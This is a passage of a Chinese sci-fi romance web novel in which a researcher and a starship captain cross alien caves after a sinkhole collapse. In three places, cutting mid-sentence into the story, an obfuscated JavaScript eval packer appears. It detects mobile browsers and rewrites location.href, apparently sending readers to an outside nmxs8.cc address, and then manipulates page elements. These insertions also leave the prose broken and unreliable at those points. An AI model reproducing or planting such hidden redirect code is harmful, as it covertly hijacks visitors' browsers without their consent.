“快跑!”崩塌的轰响中,北辰星环声嘶力竭地重复喊着这两个字。 那人置若罔闻。 可是这样的僵持并没能维持多久。 他站立之处的土层开始崩塌了。 北辰星环的身体在晃动,土块碎石在不断坠落,上头那人也站立不稳。 这好像是个死局。 北辰星环此刻已经没有多少思考的能力了,她只不停地喊着那两个字。 上头那人却做了一个决定,他直接跳进了这个正在陷落中的天坑。 无尽陷落,北辰星环被扯入了一个怀抱,那人再一次压下了她的头。 黑暗之中,除了碎石的轰响,她耳边却是那人胸膛中不能更炙热的一声又一声心跳如擂鼓。 “隆哒。” “隆哒。” 他们被粗糙坚硬的石土裹挟着,一起永坠深渊。 北辰星环失去了意识。 “姚、姚定坤?” 北辰星环试探着轻声呼唤,她觉得自己的声音和那石土一样粗糙。 “你醒了?怎么样,身上有哪里不适吗?” 有一个状似人形的影子一下子就晃到了她的面前,北辰星环不停眨着眼,才勉强看见那双熟悉的碧色眼睛。 她长舒了一口气,连她自己都没发现。 北辰星环没回话,一脸焦急的姚定坤带着些犹豫地伸出手在她眼前一晃。 “这是几?你能看见吗?” 北辰星环被他这突如其来的动作搞得有些莫名其妙,她还没说什么,那人忽然想到了什么又开始动作。 只见他从战术背心口袋中小心翼翼地取出了一副微微闪着金光的细框眼镜,但其中一片镜片开裂了,他满怀歉意的声音在她身旁响起。 “对不起,你的眼镜坏了,我没能修好。” 这声抱歉蕴含的感情实在太过充沛,北辰星环都有些感动了。 “没、没事的,这只是装饰品。还有,刚刚那是‘三’。我能看清,我只是还没适应这里的黑暗。” 可她还是不由笑了出来。 属于姚定坤的这个身影好像愣了愣,但他还是小心翼翼地又把这副眼镜纳回了背心口袋中。 他不懂,研究员们最喜欢的最昂贵的装饰品,就是鼻梁上那副眼镜了。 平光眼镜。 姚定坤避着伤处小心翼翼地扶着北辰星环坐了起来,北辰星环手一摸才知道她刚才确实是躺在一个充气的软垫上。 脚下的地面有些湿滑,不但有湿润水分,本身也过度光滑。 她努力辨认了一下周边环境,他们好像是在一个洞穴中,穴中有许多柱体状物,头顶也悬着一些,不那么平整。 这并不是在那塌陷形成的天坑的底部。 姚定坤将北辰星环扶起后就从背包中取出了什么东西摆在了洞穴各处。 “抱歉,是我考虑不周了。方才怕打扰你养神,没有点灯,你既然醒了,那还是亮堂些好。” 灯光这便亮起,不过度明亮,却也终于照亮了这个不大不小的洞穴。 北辰星环眯了眼,适应了会儿才开始继续打量。 四周中间细上下粗的状体反射着微微的水光,头顶与地面皆有不少如同冰锥的石柱。 一滴又一滴的水缓缓从顶上高悬的乳石滴落,这就是北辰星环额头上的液体的来源了。 而且这并不是独立的洞穴,北辰星环这样一环顾就发现了三四个可能的通道,她甚至还听见了一些河水流淌的声音。 这里很是湿润,被探照灯一照,到处都泛着柔和的水光,有几分梦幻。 若不是处境不太对,北辰星环真想吟诗一首。 从洞穴一角走回的姚定坤上下打量着北辰星环,再问了一遍这个问句:“你身上……自己觉得有什么不适的地方吗?” 北辰星环这才垂首看了看自己的身体,她内衬的生态保护衣与外套的作战服都有少许破损——看来这高分子织物材质还是比不过这里的含硅晶岩块呢——不过肉眼可见的擦伤都已经被小心处理过了。 是谁处理的,只可能有一个答案。 北辰星环微微拢了拢外套,在姚定坤的注视下转转脖子、动动胳膊、扭扭腰,仔细地感受了一番。 “没有,就是一些擦伤和软组织挫伤。” 不过,他身上怎么这么干净清爽?肉眼伤口……挺多,连脸上都有,但是衣服一点都没破? “那就好。”姚定坤放心地点点头,然后又背过身去在背包中寻找什么东西。 “你身上的已经失去防护作用了,这给你,如果你没有活动不便的话,自己换一下。” 北辰星环接过他递来的衣物,微微愣了愣,然后抬起头望着他。 见北辰星环望过来,姚定坤却触电一样挪开了目光,然后快步往某条与其他洞穴连通的通道走去。 感受着手下织物的略凉触感,北辰星环瞥了眼他放在洞壁旁的那只战术背包。他怎么什么都有……连她的尺码的衣服都有…… 将自己拾掇得干干净净的北辰星环终于和姚定坤一起在这软垫上坐了下来。 即便他耳尖还有些未消散的红晕,但至少目前他是打算谈论公事的。 北辰星环捧着姚定坤递给她的钛制马克杯,慢慢地喝着尚带着些温热的盐糖水。都不用猜了,这肯定也是他从背包里翻出来的。 “刚才是意外地陷了,地陷天坑连通地下水系,我们就顺势来到了这一串溶洞中。” 北辰星环点点头,“这是石灰岩地质的岩溶地貌,天坑和溶洞都是典型特征,恐怕这片区域地下密布着各种各样的溶洞。” “我该想到的,这里的土壤并没有那么厚,那个未知名异植更有可能是在没那么表浅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376729|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土层中蔓延的,那么难免会影响被水蚀的可溶性碳酸盐类岩石地基,这会加剧溶解侵蚀,也会影响地层的稳定性。” “这样看来,那未知名异植的迅速撤退或许也能解释。如果,它是从这丛生的溶洞撤离的话……” 北辰星环边说边抬起了头,与姚定坤对望了一眼。 姚定坤便点点头,自然地接过她的话头:“扩散中心之下或许同样有溶洞,所以前哨队员没能找到它的本体。” 北辰星环自然地表示赞同:“所以,我们可以跟着溶洞走,去找它。” 姚定坤从战术背心另一个口袋中掏出了两条营养棒,递向北辰星环。 “你再歇一会儿,补充点能量,我们就出发。” 北辰星环想了想,从他手中抽走了那条抹茶味的营养棒,给他留下了巧克力味的营养棒。 然后便是寂静,只剩下两人各自咀嚼营养棒的些许声响。 可北辰星环并不觉得这样的体验有多坏,或是这样的处境有多糟糕。 北辰星环注意到身侧之人快快啃完营养棒之后深呼吸了好几次,她完全能想象他欲言又止的模样。他这是想与她搭话,却又说不出什么话题。 于是北辰星环很是好心地给他递了个话头:“天坑塌陷不是那么好逃出来的,你是怎么做到的?” 怎么让他们俩没被压死摔死的? 姚定坤却没如她想象得那样开始陈述过程如何之惊险,她侧头一望,后者正垂着头默默摩挲着右手食指的那个银色的指环。 北辰星环有些诧异了,“你……难道用了机甲?” 姚定坤轻轻颔首。 “这、这也太危险了吧,那种环境,是绝对禁止唤出机甲的啊!轻则受损,重则——” “是的,”姚定坤打断了她,“它坏了。” 北辰星环再多看了几眼那个简约却不简单的机甲指环,“不会是‘无法’或是‘无灭’吧?” “无法”“无灭”代表着目前星云联邦机甲技术的巅峰,是无可置疑的先进武器。 姚定坤垂下了手,语气却有些平淡,“是一架‘无法’。” “啊……那真是太可惜了……那可是‘无法’哎……” 北辰星环脑中只有那跨时代机甲的恍若天神完美模样,那造型,那流线,那流光溢彩的黑,那磁悬浮关节结构!那是真真正正的艺术品啊! 大概是北辰星环的语气充满了过量的惋惜和哀怨,姚定坤都忍不住侧首望了她一眼,还宽慰了起来。 “没关系的,或许能修,至少它救了我们的命。” 明明他才是“无法”的主人。 北辰星环点点头,又重重地叹了口气。 “你……那时为什么让我‘快跑’?” 听着姚定坤踯躅了好久终于问出口的这个问句,北辰星环煞有介事地端详着自己的脚尖,在心中再叹了口气。 当然是因为她不想再有人因为她而死了啊…… 可她抬起头,却带着笑对姚定坤说:“当然是让你赶快跑去唤出机甲再来救我啊。” 姚定坤不傻,他听得出北辰星环的玩笑意味,这绝不是真心话。 他眼中的光微微一暗。 为了不继续讨论这个话题,北辰星环继续开着玩笑问道:“那你呢,你为什么不跑呢?” 北辰星环以为姚定坤会说点“要保护平民安全”“不能丢下任何一个人”之类的大义凛然的话,那么这一段对话也就可以顺利结束了。 可没想到他只静静凝望着她,用一种带着些飘渺的语气,轻又郑重地回答—— “因为是你啊。” 那穿越雨帘、穿越太空、穿越星舰的一箭再次将她射中。 12. 暗河 北辰星环避开了姚定坤的注视,只状若平常地又欣赏起了脚上的军靴,扯了点有的没的。 两人有一搭没一搭地交流了几句,没坐多久就开始继续跋涉。 姚定坤从背包中取出了头灯、防滑手套、攀援绳等各色专用设备,自己一套,北辰星环也有一套。 北辰星环真不明白他那战术背包是怎么塞下这么多东西的,他的准备未免太充分了一些。 指挥难道都这样吗?好像也不是啊…… “你知道地下溶洞的走势吗?科学官们的报告上似乎没有详细数据。”走着走着,北辰星环还是忍不住问了声。 前方的姚定坤摇摇头,“这颗异星的地下溶洞并没有被完全勘探,我身上并未携带能透视成像溶洞的勘探设备。我只能确定方位,但不确定能不能贯通直达那个扩散中心位置。” 有些道理,然而像现在这样在迷宫一样的地下溶洞晃,感觉还是不怎么可靠呢…… 地面确实挺滑的,不过这双军靴真是管用,她一次都没有打滑过。 北辰星环跟着姚定坤继续走了好一段路,看着身前那人没有多少犹豫的坚定步伐,北辰星环又开始问问题了。 “姚舰长,你和其他队员通讯联络过了吗?他们在外或许也可以给我们指引啊。” 姚定坤脚步不顿,只微微垂首,“通讯坏了,刚到天坑底时通过机甲勉强报了个平安,后来就无法联络了。” 这解释也算有道理,可北辰星环抬头望着他耳侧的通讯器,皱起了眉。 通讯这么容易坏吗?又不是那种千年前的老古董……北辰星环是不懂通讯系统,可她知道指挥有负责通讯的职责,尽管这小队中还有晏南天那个通讯员,但作为通讯指挥的凡事亲力亲为的姚定坤身上带的最多的不该是通讯设备吗?总有备份吧? “通讯断了的话,其他人会不会担心我们,来找我们?” “不会”,姚定坤直截了当地否定了北辰星环的猜测,“任务为重。” 好吧好吧,那只能靠自己了。 可是……拓荒军竟然是这么纪律严明、不讲同袍情谊的吗?这可是被誉为“明日之星”的少校舰长哎,身份不一般吧?难道对他们来说,任务真的比其他一切都重要? 北辰星环不太能理解,但她表示尊重。 “不过——姚舰长,你其实原本就打算来这溶洞的吧?” 北辰星环的话语没什么特别的情绪,可姚定坤听来却像是诘问。 他脚步微微一顿,尽管他迅速调整好了姿态,可还是被北辰星环看见他躲闪般的垂眸。 “你……为什么这么说?” “你准备得太过充分了,你看这些洞穴探索的装备,你准备了衣物,甚至还有昨天晚上你给我的这双鞋。” 而且回程路上他也没有直接调用机甲,而是引着那拟犀巨兽满场子跑…… 北辰星环越想越可疑,凌鹤给她的那张纸条上的“不要尽信姚定坤”的告诫历历在目。 他甚至,就像是等着地陷一样…… 当然,这些猜测太过无理,她并没有直接说出来。 “是,我本就有探地下溶洞的方案。” 他承认得挺快,没有多余的解释,语气挺正常,听起来也没什么刻意。然而—— “可是,你为什么选定了我?你至少从昨晚起就选定了我与你一起吧?”北辰星环不依不挠继续逼近一步。 “是,”姚定坤这次答得更爽快,“我的计划中就是你与我同行。” 他这般爽快,倒是令北辰星环有些哑口无言。 这次轮到她欲言又止了。 姚定坤侧首回望了她一眼,却接着说:“北辰主任您问了那么多问题,我也想问您一个问题。您似乎对异植、或者说对这异星都很是熟稔。一般的专家被突然牵扯进危机四伏之处的实地行动,总会有些畏手畏脚。” “您却不然。” 夸她面对拟犀巨兽时淡定?北辰星环当然知道他这话没那么简单,这更像是戒备试探。 看来这姚舰长对她也不算那么全然信任嘛……其实北辰星环很想说,你既然有这种担忧,就不能早些告诉我计划,给我点心理准备吗? 哦……原因还是因为他没那么信任她,所以不能事先透露给她行动计划…… 北辰星环想到这,便带着几分随性的笑意答道:“姚舰长您不会以为我们这些研究员就只在实验室里待着的吧?我虽然不如科学官们那样见多识广、四处历练,但是我也去过许多异星,我在黄土地里的时间恐怕远长于在实验室里的时间。” 北辰星环的话不算太客气,甚至可以说带着些嘲弄意味。 姚定坤便带着些距离地说道:“抱歉,是我无知了。” 又是一句没太多抱歉意味的“抱歉”。 天就这样又被谈死了。 便又是沉默,被暗河的流淌渐渐掩埋的沉默。 不过北辰星环倒不至于过度恐惧这陌生环境,即便有怀疑猜忌,可有这个人在,她还是安心许多的。 他至少并不打算害她的命。 他们不知道走了多少路、经过了多少个溶洞,终于来到了这条奔涌的暗河边。 溶洞昏暗无光,北辰星环循声望去,才看见被自己头灯照亮的粼粼水波。 北辰星环用自己的头灯一扫,她估算这条暗河足有近二十米宽,应该算是挺大的地下河了。 地下河的流向与他们的方向一致,北辰星环想着如果他们有船之类的装备,或许可以溯流而下,就不用辛辛苦苦走路了。 不过——她瞥了眼身前目不斜视的姚定坤——他看起来没有要掏背包的意思。 大概是她的目光有些炽热,姚定坤好心地解释了一句:“我们只两人,行船不利于攻守水下生物,这毕竟是颗异星。” 这下北辰星环看着那宽敞到不能被她的头灯彻底照透的暗河,只觉得幽深之中生出了些可怖巨兽来。 确实,北辰星环还是记得这里异兽密布的。即便是地下溶洞,也不是异兽无法踏足之地。 不过姚定坤有生物能检测仪,“齐物”也一直在发射足以穿透地层的威慑信号,之前发狂的拟犀巨兽应该只是意外吧,他们相对而言还是安全的吧? 对吧? 接下来的路,北辰星环就走得没那么心情舒畅了。走在这条暗河旁,她总忍不住担心里面会不会蹿出来什么奇奇怪怪的异兽。 她真的不想这样,但她控制不住自己的想象力。又或者说她有些太熟悉异星,随便一想都能想出好几种可能埋伏在这种暗河里的水生异兽,一个赛一个的顶尖掠食者。 作为一个反应没这么快、也没有什么战斗直觉、更不懂搏击之术的研究者,北辰星环还是会产生害怕的心理的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376730|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点点风吹草动都可能令她一惊。 “北辰主任。” 姚定坤忽然出声,竟也吓了北辰星环一跳,她下意识地颤了颤。 他仿佛意识到了什么,只转过了身,温和地望着她,放轻了声音——他还记得抬高了些头灯的角度,不至于晃到北辰星环。 “抱歉,吓到你了。换一条路,我们往那里走。” 然后他伸手指向远离这暗河的一个溶洞通道。 北辰星环遮了遮自己的头灯,略有些疑惑地望了眼姚定坤。 这难道不会偏离路线吗? 但姚定坤既已下了决定,就不会更改,他只是告知,并不是问询。他没有多说什么,再看了几眼北辰星环,就径直向那个通道走去。 走进这条通道,那如影随形的奔涌之声竟小了许多。 北辰星环松一口气的同时,好像明白了姚定坤绕路的原因。她带着些不知道如何形容的情绪,看了眼身前这人似乎可靠的背影。 感动吗?感动的,可是,更多的却还是——自责吧…… 她是一个北辰,这联邦所有人都默认姓北辰的就该是孔武有力的一拳就能打趴异兽的威猛无比的天生的顶尖武士。就算再不济,也该和她的二爷爷北辰空弥或者她的小堂哥北辰星夜那样,是满身肌肉的虽不甚精通拳脚但至少有几分蛮力的研究者。 可她并不是,从来都不是。她学不会,她害怕。她根本不是一个合格的北辰。 北辰星环在心中深深地叹了一口气。 说实话,她并不想一切总是因为她的软弱或者无力而改变而恶化。她已经换了一个又一个环境了,她竟然还是做不到成为保护别人而不是被保护的那一个吗? 她不想成为别人的桎梏。 可她毕竟不能苛责或是无视别人的好心善意。 “姚舰长,”北辰星环轻声开口,“之前……谢谢您。” 北辰星环没说得那么明白,但姚定坤明白她指的是从遭遇拟犀巨兽、天坑坠落乃至这溶洞一路的所有事情。 姚定坤的头灯微微晃了晃,他只用平淡的语气说道:“这是我应该的。” 毕竟,是他信誓旦旦地保证“一定会保障她的安全”。而且,他还有不得不为的理由。 “你之前,伤得厉害吗?”北辰星环试探着又问了句。 其实吧,都走了近两万米的路了,姚定坤并未表现出任何异样,也从未放慢脚步,北辰星环现在问这个问题,晚了太久了。 北辰星环有些没话找话,但姚定坤仍然一板一眼地认真回答她:“不过一些皮外伤,并不妨事。” 那就好。北辰星环兀自点了点头,抬头试图看清前面那人左颧下方的那个位置。 她记得那处有一道伤口,不知道伤得深不深,还是得妥善处理,要是破相了就不好了。 不过问题也不大,楼下生物基因研究部的那个局部细胞重构修复研究的副产品不就是祛疤技术,瘢痕组织再也不是难题。 被北辰星环的头灯照了几下,姚定坤忽然停下了脚步,他侧过了自己的左脸。 让北辰星环看了个真切。 好像只是无心之举一般,他平淡地抬手指着这个与最初那个溶洞极为相似的环境,与北辰星环说:“我们在这里过夜。” 然后他转过身,凝视着耳尖有些可疑红染的北辰星环,“有问题吗?” 13. 夜谈 “没问题、没问题!” 疑似盯着人家看的行为被抓包,北辰星环只想掩饰过去,连连摆手,态度无比和善友好。 姚定坤上前一步,似微微垂首端详她的面容,目光真挚,语气也很是温和。 “真没事?你放心,我会安置好光电栏障,生物能检测仪会开启预警模式,我也会守夜,保证安全。” 他被头灯微微描摹的这张脸太过梦幻,他这难得流露真情实感的表情也太过生动,北辰星环不知怎么就想到了邵欢和她沉迷的恋爱向游戏。 那纸片人也会有这样生动的动作表情吗? 她这是在想什么……北辰星环在心中叱责了自己一句,挪开目光,胡乱瞥起了这溶洞来。 “姚舰长,我也可以守夜的,我们分上下半夜吧。您更需要休息,您可是唯一的战斗力。” “不需要,我经过训练,这不算什么。” 姚定坤话说完就走到洞壁旁,卸了背包,很自然地单膝跪下,然后掏起了所需的装备。他没有给北辰星环拒绝的机会。 即使他的话语并不是那么硬邦邦,但北辰星环知道他并不可能改变想法。她搜肠刮肚半天,还是没能想到什么更好的理由。 谁叫她就是个没有多少战斗力的“累赘”呢?听专业人士的指令不丢人,何况这是能管理一艘星舰的舰长啊。 铺好床,姚定坤指挥着北辰星环坐下,在洞穴各处放好灯,就又提着什么装备往回路走去。 北辰星环便老老实实地坐在软垫上,看了眼光脑才知道原来现在都已经标准时晚十时了呢,按十六个小时为一日的本异星自转周期来算那就是地方时下午三时一刻了。 今天真是长途跋涉,体力消耗真是够大了。北辰星环捏了捏自己的腿,保持警惕走动的时候还没感觉,现在坐下来了放松了,浑身各处反而酸痛起来了。 是啊,她身上还有些地陷导致的小伤。 是该歇歇了,是有点累了。 北辰星环正有些精神涣散的时候,姚定坤提着桶桶罐罐回来了。 他也没叫北辰星环,就一个人默默地开始点火开炉。 提起神来的北辰星环着实有些好奇拓荒军的野外生活,便托着下巴静静看着姚定坤的一系列动作。 他往一个折叠桶里撒了些粉末——北辰星环猜测是净化水质用的,静置片刻后又将桶中水往另一个架着个过滤器漏斗的桶里倒,最后才将过滤后的水倒入无烟炉上的铝锅中加热。 这些活计琐碎又沉重,可北辰星环却觉得他好像在做化学实验一般精准严谨。 而这一切最后凝聚成了北辰星环手中的这杯糖盐水。 “条件有限,只能用营养棒应付一下了。” 姚定坤边说边从战术背心口袋中又掏出了三根营养棒,说着“谢谢”的北辰星环还是选了那条抹茶味的营养棒,给他留下了巧克力味与草莓味的。 北辰星环心中其实明白,若他只有一人,并不会备那么多口味的营养棒,这是不清楚她的喜好,专门为她准备的。 营养棒的能量足够支撑高强度的体力与脑力消耗,一根能顶大半天,其实是很高效的能量补充方式,非常适宜于这种军事行动。 更不要说,近几年来营养棒的口味口感都有了很大的提升,吃起来没那么艰难了。 北辰星环很习惯也很理解,她绝不会挑三拣四的。 北辰星环静静咽着营养棒、饮着水,姚定坤却又烧起了另一锅水。 北辰星环并未特别关注他的动静,直到他提着一只折叠桶放在她的面前。 “今天走了许多路,新军靴可能会有些磨脚,热水浸泡也能助眠。” 这是让她泡脚呢。 他边说边将一块洁白的毛巾和一个便携医护箱放在了她的身边。 “不过伤口需尽量避免碰水,你再自己处理一下伤口,我去周边巡视一下,”他避开北辰星环的凝视直起身,“如果有什么需要,你就喊我的名字,我能听见。” 然后他头也不回地转身离开,步子迈得格外的快。 北辰星环低头看着桶中氤氲的热气,勾了勾唇角,他真是个细心又体贴的好人。 他对他的士兵们也会这样温柔细致吧,有这样的舰长,确是一件幸事了。 世上成功的指挥大概只有两种,极度理性克制、思虑极快、同时能掌控几条战线的那种,和洞察人心、八面玲珑、无时无刻不令人如沐春风的那种。 而后者大多有温柔和善的表象,可那几分是伪装假面,几分是真情实意,就全看演技了。 北辰星环见的不算多,但至少她能分辨姚定坤是刻意关照还是真实体恤。 这次,确是真的。 她又叹了一口气。 凌鹤到底想和她说什么啊……什么能“信”,什么不能“信”呢? 溶洞中没有日夜。 就像太空中也本无日夜。 姚定坤倚着墙守在洞口处。 他抱着怀中的杀伤性枪械,静静地小心翼翼地望着卧在软垫上的北辰星环的方向。 他的目光没有半分重量,恍若只是在单纯放空,又或是在思索着什么。 灯光影影绰绰,洞外暗河轻轻流淌,她眼角眉梢少了些平日里的严肃正经,她那璀璨的银发散发着含蓄的微光。 他皱起眉,松开却又皱起。 最后只余一声几不可闻的叹息。 那双蓝宝石般的剔透目光却精准地击中了他,她的眼睛过分清澈,她只是、仿佛只是——睁开了眼,恰巧望向他。 姚定坤下意识觉得自己需要解释点什么,可她没有给他机会。 “我有点认床,有点睡不着,我们说点什么吧。” 她的声音中带着些不好意思,又有些怨念,她表现得很平常,仿佛只是提出了一个小小的请求,没有任何被冒犯的不悦,没有任何预谋,也没有任何刻意。 “好。” 他松了口气,连自己都没有发觉。 可北辰星环只坐了起来,凝视着他,目光纯澈如碧空一般无瑕。 她是在等他挑起话题吗? 姚定坤脑中却一片空白,无论是客套还是敷衍的话语,全都消失无踪。 某些记忆闪回,最后停在了坐在角落舰艇旁的她用那只拿笔的秀丽的手轻握着那本有着精装封面的书望着他的那一幕。 “你,喜欢读书吗?你喜欢读什么书?” 但刚一问出这句话,他就有些后悔了。 “是啊,我喜欢书,纸质书的触感就更迷人了,”她轻轻颔首,语气活泼甚有兴味,“我喜欢现代主义的批判文学作品、本格推理小说、梦蝶派的浪漫荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376731|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诞意识流文学和从古至今的各种诗集。” 她如数家珍,可…… “哦,是这样吗,”他的话语艰涩极了,“那真好,一定很有趣吧。” 他并不是很清楚她说的是什么,他只能“望文生义”,他没看过几本闲书。 可她似乎意识到了,她停下了兴致勃勃的陈述,只睁着一双眼睛继续望着他。 “你,喜欢你的工作吗?” 谈工作至少不会出错吧,他认为她是热爱工作的,所以这应该是个还可以的话题。 她却笑了笑,“也谈不上喜欢吧。” “工作就是工作啊。我确实渴求真理,我确实也会迫切地想要完成一个实验、一项研究。但是,其实工作中琐碎的事情更多,也没有那么多的重大发现等着我来突破。” 尽管有的时候,她做不到将工作与生活如此分明。不过至少这是她的态度。 “我大概是做不到没日没夜一心只扑在工作上了,我和那些泰斗伟人之间还是有很大的距离啊……” 何谈泰斗,她其实连邵欢都比不上,她只想到点下班、早日退休。 她自讪了一番,抬头望着姚定坤,问道:“你呢,姚舰长,你是个工作狂吗?” 他微微歪了歪头,竟没有立刻回答。 “我不知道,”他说,“军队中不太一样,我好像只有工作,但是……” “但是你也不喜欢只有工作这样的感觉,对吧?”北辰星环颇贴心地引导着,“我明白,你这样外勤工作更加没有什么上下班之分了,你又是舰长,轮休也算不上真正下班。” 他垂首,令人难辨面目。 “是啊……只是工作,我并不打算改变什么,一切安安稳稳正常进行就好了。” 北辰星环多看了遁入阴影中的姚定坤几眼。 她很清楚瑾军长乃至漆雕准将都是真正的无私的抛却个人的所谓“工作狂”,而这被他们寄予厚望的“明日之星”,却不如她想象得那般呢…… “作为指挥,您的话真是算少的。” 她还是将话题走向掰了一下,不至于滑入深渊。 他抬起了头,碧色的目光终于又扫了过来。 “是吗?我在星舰时并没人这般说过。” 这就是说他工作时并不算寡言,北辰星环看过他的工作状态,这话没毛病。 怕他只是不知道怎么和她独处吧,和那姜启乾真是两个极端呢。 可北辰星环也很清楚,他尽管不怎么会说漂亮话,可该做的不该做的一个不落。 是个行动上的巨人,是个做实事的人,这样也挺好的。 一夜无殊。 精神满满的北辰星环与看起来无一丝疲惫的姚定坤重新迈上了行路。 据姚定坤所言,预计今个标准日的下午时分他们就能抵达可能的扩散中心的附近了。 一路上两人并未多言,顶多说几句公事。 好像这两个人之间的关系并未因一日的独处和昨夜的交心而改变分毫。 直到见到那熟悉又陌生的卫星光辉,姚定坤似乎终于下定决心。 他停下脚步,侧身回首,披着满身的银光如铸。 她昨晚是说他话太少吧? “你曾问我,为什么选定你,我想告诉你——” “一直都是你。” 14. 月下 尽管距离相近,但从北辰星环的自我感觉上来说,今日的跋涉比昨日更加艰辛一些。 更不要说姚定坤还是和昨日一般不怎么爱说话,北辰星环连唠嗑调剂心情都做不到。即便是做实验的时候,邵欢那张嘴也经常嘀嘀咕咕好吗? 潜伏在她身上各处的擦伤、挫伤一齐狂呼,彰显自己的存在感。 累累累。 痛痛痛。 “姚舰长,我们都快要在这溶洞里耗两天了,成败在此一举了吧?” 姚定坤侧头“嗯”了一声,继续迈着坚实的脚步前行。 北辰星环无奈地抬起了脚,还没落下。 “快了,”姚定坤的声音再次响起,“我感觉到风了。” 是吗?北辰星环伸长了脖子,努力感受了一下。 “不是洞里的气流?” 姚定坤很是肯定,“不是,是外界吹进来的风。” 太好了!北辰星环终于有了些盼头,她看了眼光脑,现在不过才是标准时下午两点,比他们预想得还要快一些。 她晃了晃手脚,昂起了头。 “那我们一鼓作气!” 听着北辰星环斗志昂扬的声音,姚定坤带着些笑意点了点头。 “是这个方向吗?” 从一处布满钟乳石的狭小通道穿出,北辰星环指着眼前的这堵滑溜溜的岩壁问道。 姚定坤伸手感受了一下风向。 “是这里,出口应在这岩壁上方。” 这岩壁有些坡度,其上带着些沟壑深浅,看起来像是被雨水侵蚀后日积月累堆积而成的。 就是实在太滑了些。 北辰星环预估这岩壁有近二十米高,那要是一不小心打滑摔下,真不是小事了呢。 如果有机甲在,这一切都不是问题,可是他们没有机甲了啊。 “姚舰长,你有侦察无人机吗?”北辰星环望了望姚定坤背上的“百宝袋”。 可这一次—— “抱歉,我不精通无人机,并未携带。” 好吧好吧……不过他都能操纵“无灭”了,操作无人机那不是小菜一碟?难道他认为只有精通无人机机械构造、维修等等,才叫“精通”吗? 姚定坤望了眼这俯角大约70度角的岩壁,角度不算刁钻,并不是需要倒挂的仰角,只是湿滑了些,还有些可溶性岩破碎的可能。 “别担心,戴好防滑手套。我先上,之后我给你牵引绳,拉你上去。” 姚定坤说着就开始掏包,打算教北辰星环绳结怎么打。 可那边的北辰星环戴着手套摸了摸岩壁、踩了踩岩壁,满脸跃跃欲试的模样。 姚定坤一个没看住,她就手一拉脚一蹬攀了上去。 姚定坤下意识伸手想抓住她。 但手伸一半,他就停下了。 他知道北辰星环不是个冲动的人,甚至可以说她是个非常谨慎细致的人。 所以她必定是有不小的把握,才敢这样做的。 没有什么关系,他就在下面仔细看着,如果出什么意外,他也能接住她。 于是姚定坤跟随着北辰星环挪动步伐,不过看着北辰星环那精准的着力点选择、谨慎小心的换位、肱二头肌三头肌连带着肩胛肌表现出来的力量,他就知道自己的担心有多么多余了。 她绝不是个新手,甚至可以说熟练于此道。 也是,她是个北辰啊,那可是以一族之力就守住了整个北区防线的北辰啊。 北区星域是环境最恶劣、异星异兽最多的星域,在联邦历史上的那四次异兽入侵战役中,守住了北区,就相当于守住了联邦。而每一次、每一次,以北辰家族为首的北区边防军都倾尽全力、不惜代价,以血肉之躯为联邦筑起了最坚实的长城。 尽管放下了心,可姚定坤也没有贸然开始攀登,他打算守着北辰星环登顶。 北辰星环多花了一些时间,但至少顺利登顶了。 她目前的身体状况不算最佳,这岩壁也确实湿滑,她牺牲速度以确保自身的稳定,让意外没有任何一点出现的可能。 “姚舰长,您把绳子抛上来,我拉您上来。”北辰星环站在岩壁顶端笑着对姚定坤挥了挥手。 姚定坤望着她点点头,接着径直开始攀登岩壁。 “哎呀,您至少让我把背包拉上来嘛。”北辰星环探出身又补了句。 姚定坤单手抠着岩壁,整个身子挂在岩壁上对她摆了摆手,“远离,别靠近了,危险。” 北辰星环再看了几眼姚定坤游刃有余的样子,便乖巧地退了几步,开始观察这大概是最后一段路的通道。 看起来还是溶洞的样子,不过,连她都能感觉到这里有些外界吹来的风了。 风声呼呼,听起来甚至有些像什么生物的叫声。 北辰星环望不到尽头,出于安全考虑,她调低了头灯的亮度,轻手轻脚地走了几步,试图透过崎岖的通道看到某个出口。 这种凉爽的溶洞,又富有水分,很适宜生物生存。北辰星环越想越觉得可能性大,她这一路的安逸只是假象,这是高危险等级的异星,异星! 她压低身体,放轻呼吸,轻手轻脚,保持警惕。 好在她还没担惊受怕多久,同样轻手轻脚的姚定坤就跟了上来。 这一次他吸取了教训,只压低声音轻咳了一声。 北辰星环立刻回身对他比了个“静声”的手势,姚定坤理解配合地伴着她一起走了一段,于是他们一起看见了那通道尽头的一圈夜空。 闪烁着星子,有卫星如若有形银芒照入,在此刻显得那般迷人的夜空。 “没事的,生物能检测仪没有异常。”姚定坤微微转头与身侧的北辰星环说。 他声音压得很低,但那气息仍拂动在北辰星环脸颊耳畔。 她这才发现他们俩靠得这般近。 